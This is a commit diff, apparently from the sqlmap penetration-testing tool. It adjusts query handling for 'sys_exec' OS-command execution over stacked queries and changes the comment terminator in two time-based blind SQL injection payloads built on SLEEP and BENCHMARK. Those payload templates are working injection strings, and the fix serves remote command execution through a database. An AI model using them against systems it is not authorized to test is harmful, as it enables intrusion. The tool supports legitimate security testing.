Minor fixes to make --os-* switch work again against MySQL/Windows/ASP.NET (where stacked queries are supported)

bdamele · bdamele · commit 890bf708bc7b · 2012-03-15T00:19:57.000Z
diff --git a/lib/core/common.py b/lib/core/common.py
@@ -959,7 +959,7 @@ def cleanQuery(query):
             sqlStatementEsc = sqlStatement.replace("(", "\\(")
             queryMatch = re.search("(%s)" % sqlStatementEsc, query, re.I)
 
-            if queryMatch:
+            if queryMatch and "sys_exec" not in query:
                 upperQuery = upperQuery.replace(queryMatch.group(1), sqlStatement.upper())
 
     return upperQuery
diff --git a/xml/payloads.xml b/xml/payloads.xml
@@ -1834,7 +1834,7 @@ Formats:
         <vector>; IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]);</vector>
         <request>
             <payload>; SELECT SLEEP([SLEEPTIME]);</payload>
-            <comment>#</comment>
+            <comment>--</comment>
         </request>
         <response>
             <time>[SLEEPTIME]</time>
@@ -1855,7 +1855,7 @@ Formats:
         <vector>; IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM]);</vector>
         <request>
             <payload>; SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'));</payload>
-            <comment>#</comment>
+            <comment>--</comment>
         </request>
         <response>
             <time>[DELAYED]</time>
